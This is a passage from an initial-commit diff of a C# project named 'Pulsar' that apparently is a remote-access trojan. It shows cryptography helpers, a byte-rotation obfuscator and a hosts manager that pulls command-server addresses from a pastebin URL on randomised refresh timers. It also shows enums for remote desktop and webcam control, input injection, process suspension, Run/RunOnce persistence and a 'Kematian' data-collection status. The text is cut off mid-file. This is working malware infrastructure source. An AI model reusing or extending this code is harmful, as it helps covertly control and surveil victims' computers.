initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
BIN
View File
Binary file not shown.
Binary file not shown.
+341
View File
@@ -0,0 +1,341 @@
#if NETFRAMEWORK
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Win32.SafeHandles;
namespace Pulsar.Common.Cryptography
{
internal static class AesGcmCng
{
private const uint ERROR_SUCCESS = 0x00000000;
private const uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
private const string BCRYPT_AES_ALGORITHM = "AES";
private const string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
private const string BCRYPT_CHAINING_MODE = "ChainingMode";
private const string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
private const string BCRYPT_OBJECT_LENGTH = "ObjectLength";
private const string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
private static readonly byte[] KeyBlobMagic = BitConverter.GetBytes(0x4d42444b); // "KDBM"
internal static void Encrypt(byte[] key, byte[] nonce, byte[] plaintext, byte[] ciphertext, byte[] tag)
{
if (key == null) throw new ArgumentNullException(nameof(key));
if (nonce == null) throw new ArgumentNullException(nameof(nonce));
if (plaintext == null) throw new ArgumentNullException(nameof(plaintext));
if (ciphertext == null) throw new ArgumentNullException(nameof(ciphertext));
if (tag == null) throw new ArgumentNullException(nameof(tag));
if (ciphertext.Length != plaintext.Length)
{
throw new CryptographicException("Ciphertext buffer length must match plaintext length.");
}
using (SafeAlgorithmHandle algorithm = OpenAlgorithm())
using (SafeKeyHandle keyHandle = ImportKey(algorithm, key))
{
byte[] output = new byte[ciphertext.Length];
byte[] tagBuffer = new byte[tag.Length];
AuthInfo authInfo = new AuthInfo(nonce, null, tagBuffer);
try
{
byte[] ivBuffer = (byte[])nonce.Clone();
int result = 0;
uint status = BCryptEncrypt(keyHandle.DangerousGetHandle(), plaintext, plaintext.Length, ref authInfo.Info, ivBuffer, ivBuffer.Length, output, output.Length, ref result, 0);
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptEncrypt failed with status code 0x{0:X8}.", status));
}
if (result != ciphertext.Length)
{
throw new CryptographicException("Ciphertext length mismatch during encryption.");
}
Buffer.BlockCopy(output, 0, ciphertext, 0, result);
authInfo.CopyTag(tag);
}
finally
{
authInfo.Dispose();
}
}
}
internal static void Decrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag, byte[] plaintext)
{
if (key == null) throw new ArgumentNullException(nameof(key));
if (nonce == null) throw new ArgumentNullException(nameof(nonce));
if (ciphertext == null) throw new ArgumentNullException(nameof(ciphertext));
if (tag == null) throw new ArgumentNullException(nameof(tag));
if (plaintext == null) throw new ArgumentNullException(nameof(plaintext));
if (ciphertext.Length != plaintext.Length)
{
throw new CryptographicException("Plaintext buffer length must match ciphertext length.");
}
using (SafeAlgorithmHandle algorithm = OpenAlgorithm())
using (SafeKeyHandle keyHandle = ImportKey(algorithm, key))
{
byte[] output = new byte[plaintext.Length];
AuthInfo authInfo = new AuthInfo(nonce, null, tag);
try
{
byte[] ivBuffer = (byte[])nonce.Clone();
int result = 0;
uint status = BCryptDecrypt(keyHandle.DangerousGetHandle(), ciphertext, ciphertext.Length, ref authInfo.Info, ivBuffer, ivBuffer.Length, output, output.Length, ref result, 0);
if (status == STATUS_AUTH_TAG_MISMATCH)
{
throw new CryptographicException("Authentication tag mismatch during decryption.");
}
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptDecrypt failed with status code 0x{0:X8}.", status));
}
if (result != plaintext.Length)
{
throw new CryptographicException("Plaintext length mismatch during decryption.");
}
Buffer.BlockCopy(output, 0, plaintext, 0, result);
}
finally
{
authInfo.Dispose();
}
}
}
private static SafeAlgorithmHandle OpenAlgorithm()
{
IntPtr rawHandle;
uint status = BCryptOpenAlgorithmProvider(out rawHandle, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptOpenAlgorithmProvider failed with status code 0x{0:X8}.", status));
}
SafeAlgorithmHandle handle = new SafeAlgorithmHandle(rawHandle);
try
{
byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM);
status = BCryptSetAlgorithmProperty(handle.DangerousGetHandle(), BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0);
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptSetAlgorithmProperty failed with status code 0x{0:X8}.", status));
}
return handle;
}
catch
{
handle.Dispose();
throw;
}
}
private static SafeKeyHandle ImportKey(SafeAlgorithmHandle algorithm, byte[] key)
{
byte[] objectLength = GetAlgorithmProperty(algorithm.DangerousGetHandle(), BCRYPT_OBJECT_LENGTH);
int keyObjectSize = BitConverter.ToInt32(objectLength, 0);
IntPtr keyObject = Marshal.AllocHGlobal(keyObjectSize);
try
{
byte[] blob = BuildKeyBlob(key);
IntPtr rawKey;
uint status = BCryptImportKey(algorithm.DangerousGetHandle(), IntPtr.Zero, BCRYPT_KEY_DATA_BLOB, out rawKey, keyObject, keyObjectSize, blob, blob.Length, 0);
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptImportKey failed with status code 0x{0:X8}.", status));
}
return new SafeKeyHandle(rawKey, keyObject);
}
catch
{
Marshal.FreeHGlobal(keyObject);
throw;
}
}
private static byte[] GetAlgorithmProperty(IntPtr handle, string property)
{
int size = 0;
uint status = BCryptGetProperty(handle, property, null, 0, ref size, 0);
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptGetProperty (query size) failed with status code 0x{0:X8}.", status));
}
byte[] buffer = new byte[size];
status = BCryptGetProperty(handle, property, buffer, buffer.Length, ref size, 0);
if (status != ERROR_SUCCESS)
{
throw new CryptographicException(string.Format("BCryptGetProperty failed with status code 0x{0:X8}.", status));
}
return buffer;
}
private static byte[] BuildKeyBlob(byte[] key)
{
byte[] blob = new byte[KeyBlobMagic.Length + sizeof(int) + sizeof(int) + key.Length];
Buffer.BlockCopy(KeyBlobMagic, 0, blob, 0, KeyBlobMagic.Length);
Buffer.BlockCopy(BitConverter.GetBytes(1), 0, blob, KeyBlobMagic.Length, sizeof(int));
Buffer.BlockCopy(BitConverter.GetBytes(key.Length), 0, blob, KeyBlobMagic.Length + sizeof(int), sizeof(int));
Buffer.BlockCopy(key, 0, blob, KeyBlobMagic.Length + (sizeof(int) * 2), key.Length);
return blob;
}
private sealed class AuthInfo : IDisposable
{
internal BCryptAuthenticatedCipherModeInfo Info;
private GCHandle _nonceHandle;
private GCHandle _aadHandle;
private GCHandle _tagHandle;
private GCHandle _macHandle;
private byte[] _tagBuffer;
internal AuthInfo(byte[] nonce, byte[] aad, byte[] tag)
{
Info = new BCryptAuthenticatedCipherModeInfo();
Info.cbSize = Marshal.SizeOf(typeof(BCryptAuthenticatedCipherModeInfo));
Info.dwInfoVersion = 1;
if (nonce != null && nonce.Length > 0)
{
byte[] nonceCopy = (byte[])nonce.Clone();
_nonceHandle = GCHandle.Alloc(nonceCopy, GCHandleType.Pinned);
Info.pbNonce = _nonceHandle.AddrOfPinnedObject();
Info.cbNonce = nonceCopy.Length;
}
if (aad != null && aad.Length > 0)
{
byte[] aadCopy = (byte[])aad.Clone();
_aadHandle = GCHandle.Alloc(aadCopy, GCHandleType.Pinned);
Info.pbAuthData = _aadHandle.AddrOfPinnedObject();
Info.cbAuthData = aadCopy.Length;
Info.cbAAD = aadCopy.Length;
}
if (tag != null && tag.Length > 0)
{
_tagBuffer = (byte[])tag.Clone();
_tagHandle = GCHandle.Alloc(_tagBuffer, GCHandleType.Pinned);
Info.pbTag = _tagHandle.AddrOfPinnedObject();
Info.cbTag = _tagBuffer.Length;
byte[] mac = new byte[_tagBuffer.Length];
_macHandle = GCHandle.Alloc(mac, GCHandleType.Pinned);
Info.pbMacContext = _macHandle.AddrOfPinnedObject();
Info.cbMacContext = mac.Length;
}
}
internal void CopyTag(byte[] destination)
{
if (_tagBuffer != null && destination != null)
{
Buffer.BlockCopy(_tagBuffer, 0, destination, 0, Math.Min(_tagBuffer.Length, destination.Length));
}
}
public void Dispose()
{
if (_macHandle.IsAllocated) _macHandle.Free();
if (_tagHandle.IsAllocated) _tagHandle.Free();
if (_aadHandle.IsAllocated) _aadHandle.Free();
if (_nonceHandle.IsAllocated) _nonceHandle.Free();
}
}
[StructLayout(LayoutKind.Sequential)]
private struct BCryptAuthenticatedCipherModeInfo
{
internal int cbSize;
internal int dwInfoVersion;
internal IntPtr pbNonce;
internal int cbNonce;
internal IntPtr pbAuthData;
internal int cbAuthData;
internal IntPtr pbTag;
internal int cbTag;
internal IntPtr pbMacContext;
internal int cbMacContext;
internal int cbAAD;
internal long cbData;
internal int dwFlags;
}
private sealed class SafeAlgorithmHandle : SafeHandleZeroOrMinusOneIsInvalid
{
internal SafeAlgorithmHandle(IntPtr handle) : base(true)
{
SetHandle(handle);
}
protected override bool ReleaseHandle()
{
return BCryptCloseAlgorithmProvider(handle, 0) == ERROR_SUCCESS;
}
}
private sealed class SafeKeyHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private readonly IntPtr _keyObject;
internal SafeKeyHandle(IntPtr handle, IntPtr keyObject) : base(true)
{
SetHandle(handle);
_keyObject = keyObject;
}
protected override bool ReleaseHandle()
{
if (_keyObject != IntPtr.Zero)
{
Marshal.FreeHGlobal(_keyObject);
}
return BCryptDestroyKey(handle) == ERROR_SUCCESS;
}
}
[DllImport("bcrypt.dll")]
private static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
[DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")]
private static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
private static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptDestroyKey(IntPtr hKey);
[DllImport("bcrypt.dll")]
private static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCryptAuthenticatedCipherModeInfo pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCryptAuthenticatedCipherModeInfo pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags);
}
}
#endif
@@ -0,0 +1,85 @@
using System;
using System.Diagnostics;
namespace Pulsar.Common.Cryptography
{
/// <summary>
/// Provides byte rotation obfuscation methods for simple data protection.
/// </summary>
public static class ByteRotationObfuscator
{
/// <summary>
/// The rotation amount used for obfuscation.
/// </summary>
private const int ROTATION_AMOUNT = 16;
/// <summary>
/// Obfuscates data by rotating each byte by a fixed amount with overflow wrapping.
/// </summary>
/// <param name="data">The data to obfuscate.</param>
/// <returns>The obfuscated data.</returns>
public static byte[] Obfuscate(byte[] data)
{
if (data == null)
{
Debug.WriteLine("Failed to Obfuscate. Data is null.");
return data;
}
byte[] result = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
result[i] = RotateByte(data[i], ROTATION_AMOUNT);
}
return result;
}
/// <summary>
/// Deobfuscates data by rotating each byte back by the fixed amount with overflow wrapping.
/// </summary>
/// <param name="data">The obfuscated data to deobfuscate.</param>
/// <returns>The original data.</returns>
public static byte[] Deobfuscate(byte[] data)
{
if (data == null)
{
Debug.WriteLine("Failed to Deobfuscate. Data is null.");
return data;
}
byte[] result = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
result[i] = RotateByte(data[i], -ROTATION_AMOUNT);
}
return result;
}
/// <summary>
/// Rotates a byte by the specified amount with overflow wrapping.
/// </summary>
/// <param name="value">The byte to rotate.</param>
/// <param name="amount">The rotation amount (can be positive or negative).</param>
/// <returns>The rotated byte.</returns>
private static byte RotateByte(byte value, int amount)
{
amount = ((amount % 256) + 256) % 256;
int result = (value + amount) % 256;
return (byte)result;
}
/// <summary>
/// Calculates the rotated value for a given byte and rotation amount.
/// This is a helper method for testing and verification.
/// </summary>
/// <param name="value">The byte value to rotate.</param>
/// <param name="amount">The rotation amount.</param>
/// <returns>The rotated byte value.</returns>
public static byte CalculateRotation(byte value, int amount)
{
return RotateByte(value, amount);
}
}
}
@@ -0,0 +1,29 @@
using System.Runtime.CompilerServices;
namespace Pulsar.Common.Cryptography
{
public class SafeComparison
{
/// <summary>
/// Compares two byte arrays for equality.
/// </summary>
/// <param name="a1">Byte array to compare</param>
/// <param name="a2">Byte array to compare</param>
/// <returns>True if equal, else false</returns>
/// <remarks>
/// Assumes that the byte arrays have the same length.
/// This method is safe against timing attacks.
/// </remarks>
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public static bool AreEqual(byte[] a1, byte[] a2)
{
bool result = true;
for (int i = 0; i < a1.Length; ++i)
{
if (a1[i] != a2[i])
result = false;
}
return result;
}
}
}
+33
View File
@@ -0,0 +1,33 @@
using System.Security.Cryptography;
using System.Text;
namespace Pulsar.Common.Cryptography
{
public static class Sha256
{
public static string ComputeHash(string input)
{
byte[] data = Encoding.UTF8.GetBytes(input);
using (SHA256Managed sha = new SHA256Managed())
{
data = sha.ComputeHash(data);
}
StringBuilder hash = new StringBuilder();
foreach (byte _byte in data)
hash.Append(_byte.ToString("X2"));
return hash.ToString().ToUpper();
}
public static byte[] ComputeHash(byte[] input)
{
using (SHA256Managed sha = new SHA256Managed())
{
return sha.ComputeHash(input);
}
}
}
}
BIN
View File
Binary file not shown.
+33
View File
@@ -0,0 +1,33 @@
using System.Net;
namespace Pulsar.Common.DNS
{
public class Host
{
/// <summary>
/// Stores the hostname of the Host.
/// </summary>
/// <remarks>
/// Can be an IPv4, IPv6 address or hostname.
/// </remarks>
public string Hostname { get; set; }
/// <summary>
/// Stores the IP address of host.
/// </summary>
/// <remarks>
/// Can be an IPv4 or IPv6 address.
/// </remarks>
public IPAddress IpAddress { get; set; }
/// <summary>
/// Stores the port of the Host.
/// </summary>
public ushort Port { get; set; }
public override string ToString()
{
return Hostname + ":" + Port;
}
}
}
+66
View File
@@ -0,0 +1,66 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Pulsar.Common.DNS
{
public class HostsConverter
{
public List<Host> RawHostsToList(string rawHosts, bool server = false)
{
List<Host> hostsList = new List<Host>();
if (string.IsNullOrEmpty(rawHosts)) return hostsList;
if ((rawHosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) ||
rawHosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase)) &&
!rawHosts.Contains(";"))
{
hostsList.Add(new Host { Hostname = rawHosts });
return hostsList;
}
var hosts = rawHosts.Split(';');
foreach (var host in hosts)
{
if (string.IsNullOrEmpty(host)) continue;
if (Uri.TryCreate(host, UriKind.Absolute, out Uri uri) &&
(uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps))
{
hostsList.Add(new Host { Hostname = host });
}
else if (host.Contains(':'))
{
if (ushort.TryParse(host.Split(':').Last(), out ushort port))
{
hostsList.Add(new Host
{
Hostname = host.Substring(0, host.LastIndexOf(':')),
Port = port
});
}
}
else
{
hostsList.Add(new Host { Hostname = host });
}
}
return hostsList;
}
public string ListToRawHosts(IList<Host> hosts)
{
StringBuilder rawHosts = new StringBuilder();
foreach (var host in hosts)
rawHosts.Append(host + ";");
return rawHosts.ToString();
}
}
}
+282
View File
@@ -0,0 +1,282 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
namespace Pulsar.Common.DNS
{
public class HostsManager
{
public bool IsEmpty => _hosts.Count == 0;
private readonly Queue<Host> _hosts = new Queue<Host>();
private Host _lastResolvedHost;
private readonly PastebinFetcher _pastebinFetcher;
private readonly HostsConverter _hostsConverter = new HostsConverter();
private readonly bool _isPastebinMode;
private DateTime _lastSuccessfulConnection = DateTime.MinValue;
private DateTime _lastPastebinCheck = DateTime.MinValue;
//private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromHours(1);
//private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromMinutes(30);
private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
private bool _pastebinReachable = true;
private DateTime _lastPastebinFailure = DateTime.MinValue;
private readonly TimeSpan _scheduledRefreshWindowMin = TimeSpan.FromHours(2);
private readonly TimeSpan _scheduledRefreshWindowMax = TimeSpan.FromHours(3);
private readonly Random _refreshRandom = new Random(unchecked(Environment.TickCount * 397 ^ Guid.NewGuid().GetHashCode()));
private readonly object _refreshRandomLock = new object();
private DateTime _nextScheduledPastebinRefresh = DateTime.MinValue;
private string _lastPastebinContentHash;
public HostsManager(List<Host> hosts)
{
foreach (var host in hosts)
_hosts.Enqueue(host);
_isPastebinMode = false;
_lastSuccessfulConnection = DateTime.Now;
}
public HostsManager(string pastebinUrl)
{
_isPastebinMode = true;
_pastebinFetcher = new PastebinFetcher(pastebinUrl);
_lastSuccessfulConnection = DateTime.Now;
RefreshHostsFromPastebin(forceRefresh: true);
ScheduleNextPastebinRefresh();
}
private bool RefreshHostsFromPastebin(bool forceRefresh = false)
{
if (!_isPastebinMode || _pastebinFetcher == null)
return false;
try
{
string content = _pastebinFetcher.FetchContent(forceRefresh);
_lastPastebinCheck = DateTime.Now;
if (string.IsNullOrWhiteSpace(content))
{
_pastebinReachable = false;
_lastPastebinFailure = DateTime.Now;
Debug.WriteLine("Failed to get content from pastebin (empty response)");
return false;
}
var hosts = _hostsConverter.RawHostsToList(content);
string newHash = ComputeContentHash(content);
bool hasChanged = _lastPastebinContentHash == null || !_lastPastebinContentHash.Equals(newHash, StringComparison.Ordinal);
if (hasChanged || _hosts.Count == 0)
{
_hosts.Clear();
foreach (var host in hosts)
_hosts.Enqueue(host);
_lastResolvedHost = null;
_lastPastebinContentHash = newHash;
Debug.WriteLine($"Successfully refreshed {hosts.Count} hosts from pastebin. Connection failure duration: {DateTime.Now - _lastSuccessfulConnection}");
}
else
{
Debug.WriteLine("Pastebin content unchanged; keeping existing hosts.");
}
_pastebinReachable = true;
return hasChanged;
}
catch (Exception ex)
{
_pastebinReachable = false;
_lastPastebinFailure = DateTime.Now;
Debug.WriteLine($"Failed to refresh hosts from pastebin: {ex.Message}");
return false;
}
}
public Host GetNextHost()
{
if (_isPastebinMode)
{
if (_nextScheduledPastebinRefresh == DateTime.MinValue)
{
ScheduleNextPastebinRefresh();
}
if (DateTime.Now >= _nextScheduledPastebinRefresh)
{
Debug.WriteLine("Scheduled pastebin refresh triggered.");
RefreshHostsFromPastebin(forceRefresh: true);
ScheduleNextPastebinRefresh();
}
bool shouldRefreshFromPastebin = false;
bool forceRefresh = false;
if (_hosts.Count == 0 && DateTime.Now - _lastPastebinCheck >= TimeSpan.FromMinutes(1))
{
Debug.WriteLine("No hosts available, refreshing from pastebin.");
shouldRefreshFromPastebin = true;
forceRefresh = true;
}
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection > _connectionFailureThreshold)
{
Debug.WriteLine($"No successful connection for over {_connectionFailureThreshold.TotalMinutes} minutes, checking pastebin for updates.");
if (DateTime.Now - _lastPastebinCheck >= _pastebinCheckInterval)
{
Debug.WriteLine($"Checking pastebin for updates after {_pastebinCheckInterval.TotalMinutes} minutes.");
shouldRefreshFromPastebin = true;
}
}
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection <= _connectionFailureThreshold && _pastebinFetcher.ShouldRefresh)
{
Debug.WriteLine("Frequent refresh from pastebin due to high request count or error.");
shouldRefreshFromPastebin = true;
}
if (shouldRefreshFromPastebin)
{
Debug.WriteLine("Refreshing hosts from pastebin due to conditions met.");
RefreshHostsFromPastebin(forceRefresh);
ScheduleNextPastebinRefresh();
}
if (_hosts.Count == 0)
return null;
}
var temp = _hosts.Dequeue();
_hosts.Enqueue(temp);
temp.IpAddress = ResolveHostname(temp);
if (temp.IpAddress == null && _lastResolvedHost != null)
{
temp = _lastResolvedHost;
}
else
{
_lastResolvedHost = temp;
}
return temp;
}
/// <summary>
/// Notifies the hosts manager that a successful connection was established.
/// This resets the connection failure tracking.
/// </summary>
public void NotifySuccessfulConnection()
{
_lastSuccessfulConnection = DateTime.Now;
}
/// <summary>
/// Gets whether pastebin is currently reachable and how long to wait before next attempt.
/// </summary>
/// <returns>A tuple indicating if pastebin is reachable and suggested wait time in milliseconds.</returns>
public (bool IsReachable, int SuggestedWaitTimeMs) GetPastebinStatus()
{
if (!_isPastebinMode)
return (true, 0);
if (_pastebinReachable)
{
return (true, 0);
}
var timeSinceFailure = DateTime.Now - _lastPastebinFailure;
if (timeSinceFailure < TimeSpan.FromMinutes(5))
{
return (false, 300000);
}
else if (timeSinceFailure < TimeSpan.FromMinutes(15))
{
return (false, 600000);
}
else
{
return (false, 1800000);
}
}
private void ScheduleNextPastebinRefresh()
{
if (!_isPastebinMode)
{
_nextScheduledPastebinRefresh = DateTime.MaxValue;
return;
}
TimeSpan interval = GetRandomRefreshInterval();
_nextScheduledPastebinRefresh = DateTime.Now.Add(interval);
Debug.WriteLine($"Next pastebin refresh scheduled in {interval.TotalMinutes:F1} minutes (target {_nextScheduledPastebinRefresh}).");
}
private TimeSpan GetRandomRefreshInterval()
{
double minMs = _scheduledRefreshWindowMin.TotalMilliseconds;
double maxMs = _scheduledRefreshWindowMax.TotalMilliseconds;
if (maxMs <= minMs)
{
return TimeSpan.FromMilliseconds(minMs);
}
lock (_refreshRandomLock)
{
double offset = _refreshRandom.NextDouble() * (maxMs - minMs);
return TimeSpan.FromMilliseconds(minMs + offset);
}
}
private static string ComputeContentHash(string content)
{
using (var sha256 = SHA256.Create())
{
byte[] bytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(content));
return BitConverter.ToString(bytes).Replace("-", string.Empty);
}
}
private static IPAddress ResolveHostname(Host host)
{
if (string.IsNullOrEmpty(host.Hostname)) return null;
if (IPAddress.TryParse(host.Hostname, out IPAddress ip))
{
if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !Socket.OSSupportsIPv6)
return null;
return ip;
}
try
{
var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList;
foreach (IPAddress ipAddress in ipAddresses)
{
switch (ipAddress.AddressFamily)
{
case AddressFamily.InterNetwork:
return ipAddress;
case AddressFamily.InterNetworkV6:
if (ipAddresses.Length == 1)
return ipAddress;
break;
}
}
}
catch (Exception)
{
return null;
}
return null;
}
}
}
+45
View File
@@ -0,0 +1,45 @@
using System;
using System.Net;
namespace Pulsar.Common.DNS
{
/// <summary>
/// WebClient with timeout capability
/// </summary>
internal class TimeoutWebClient : WebClient
{
private readonly int _timeout;
public TimeoutWebClient(int timeout)
{
_timeout = timeout;
this.Proxy = null;
}
protected override WebRequest GetWebRequest(Uri address)
{
WebRequest request = base.GetWebRequest(address);
if (request != null)
{
request.Timeout = _timeout;
}
return request;
}
}
/// <summary>
/// Extension methods for WebClient
/// </summary>
internal static class WebClientExtensions
{
/// <summary>
/// Creates a WebClient with the specified timeout in milliseconds
/// </summary>
public static WebClient WithTimeout(int timeout)
{
return new TimeoutWebClient(timeout);
}
}
}
+10
View File
@@ -0,0 +1,10 @@
namespace Pulsar.Common.Enums
{
public enum AccountType
{
Admin,
User,
Guest,
Unknown
}
}
+18
View File
@@ -0,0 +1,18 @@
namespace Pulsar.Common.Enums
{
public enum ConnectionState : byte
{
Closed = 1,
Listening = 2,
SYN_Sent = 3,
Syn_Recieved = 4,
Established = 5,
Finish_Wait_1 = 6,
Finish_Wait_2 = 7,
Closed_Wait = 8,
Closing = 9,
Last_ACK = 10,
Time_Wait = 11,
Delete_TCB = 12
}
}
+16
View File
@@ -0,0 +1,16 @@
namespace Pulsar.Common.Enums
{
public enum ContentType
{
// these values must match the index of the images in file manager
Blob = 2,
Application = 3,
Text = 4,
Archive = 5,
Word = 6,
Pdf = 7,
Image = 8,
Video = 9,
Audio = 10
}
}
+9
View File
@@ -0,0 +1,9 @@
namespace Pulsar.Common.Enums
{
public enum FileType
{
File,
Directory,
Back
}
}
+10
View File
@@ -0,0 +1,10 @@
namespace Pulsar.Common.Enums
{
public enum KematianStatus
{
Idle,
Collecting,
Completed,
Failed
}
}
+14
View File
@@ -0,0 +1,14 @@
namespace Pulsar.Common.Enums
{
public enum MouseAction
{
LeftDown,
LeftUp,
RightDown,
RightUp,
MoveCursor,
ScrollUp,
ScrollDown,
None
}
}
+11
View File
@@ -0,0 +1,11 @@
namespace Pulsar.Common.Enums
{
public enum ProcessAction
{
Start,
End,
SetTopMost,
None,
Suspend
}
}
+16
View File
@@ -0,0 +1,16 @@
namespace Pulsar.Common.Enums
{
public enum RemoteDesktopStatus
{
Start,
Stop,
Continue,
}
public enum RemoteWebcamStatus
{
Start,
Stop,
Continue,
}
}
+10
View File
@@ -0,0 +1,10 @@
namespace Pulsar.Common.Enums
{
public enum ShutdownAction
{
Shutdown,
Restart,
Standby,
Lockscreen
}
}
+13
View File
@@ -0,0 +1,13 @@
namespace Pulsar.Common.Enums
{
public enum StartupType
{
LocalMachineRun,
LocalMachineRunOnce,
CurrentUserRun,
CurrentUserRunOnce,
StartMenu,
LocalMachineRunX86,
LocalMachineRunOnceX86
}
}
+8
View File
@@ -0,0 +1,8 @@
namespace Pulsar.Common.Enums
{
public enum UserStatus
{
Active,
Idle
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Pulsar.Common.Extensions
{
public static class DriveTypeExtensions
{
/// <summary>
/// Converts the value of the <see cref="DriveType"/> instance to its friendly string representation.
/// </summary>
/// <param name="type">The <see cref="DriveType"/>.</param>
/// <returns>The friendly string representation of the value of this <see cref="DriveType"/> instance.</returns>
public static string ToFriendlyString(this DriveType type)
{
switch (type)
{
case DriveType.Fixed:
return "Local Disk";
case DriveType.Network:
return "Network Drive";
case DriveType.Removable:
return "Removable Drive";
default:
return type.ToString();
}
}
}
}
@@ -0,0 +1,48 @@
using System;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace Pulsar.Common.Extensions
{
/// <summary>
/// Socket Extension for KeepAlive
/// </summary>
/// <Author>Abdullah Saleem</Author>
/// <Email>[email protected]</Email>
public static class SocketExtensions
{
/// <summary>
/// A structure used by SetKeepAliveEx Method
/// </summary>
[StructLayout(LayoutKind.Sequential)]
internal struct TcpKeepAlive
{
internal uint onoff;
internal uint keepalivetime;
internal uint keepaliveinterval;
};
/// <summary>
/// Sets the Keep-Alive values for the current tcp connection
/// </summary>
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
{
var keepAlive = new TcpKeepAlive
{
onoff = 1,
keepaliveinterval = keepAliveInterval,
keepalivetime = keepAliveTime
};
int size = Marshal.SizeOf(keepAlive);
IntPtr keepAlivePtr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(keepAlive, keepAlivePtr, true);
var buffer = new byte[size];
Marshal.Copy(keepAlivePtr, buffer, 0, size);
Marshal.FreeHGlobal(keepAlivePtr);
socket.IOControl(IOControlCode.KeepAliveValues, buffer, null);
}
}
}
@@ -0,0 +1,69 @@
using Pulsar.Common.Enums;
namespace Pulsar.Common.Extensions
{
public static class StringExtensions
{
/// <summary>
/// Converts the file extension string to its <see cref="ContentType"/> representation.
/// </summary>
/// <param name="fileExtension">The file extension string.</param>
/// <returns>The <see cref="ContentType"/> representation of the file extension string.</returns>
public static ContentType ToContentType(this string fileExtension)
{
switch (fileExtension.ToLower())
{
default:
return ContentType.Blob;
case ".exe":
return ContentType.Application;
case ".txt":
case ".log":
case ".conf":
case ".cfg":
case ".asc":
return ContentType.Text;
case ".rar":
case ".zip":
case ".zipx":
case ".tar":
case ".tgz":
case ".gz":
case ".s7z":
case ".7z":
case ".bz2":
case ".cab":
case ".zz":
case ".apk":
return ContentType.Archive;
case ".doc":
case ".docx":
case ".odt":
return ContentType.Word;
case ".pdf":
return ContentType.Pdf;
case ".jpg":
case ".jpeg":
case ".png":
case ".bmp":
case ".gif":
case ".ico":
return ContentType.Image;
case ".mp4":
case ".mov":
case ".avi":
case ".wmv":
case ".mkv":
case ".m4v":
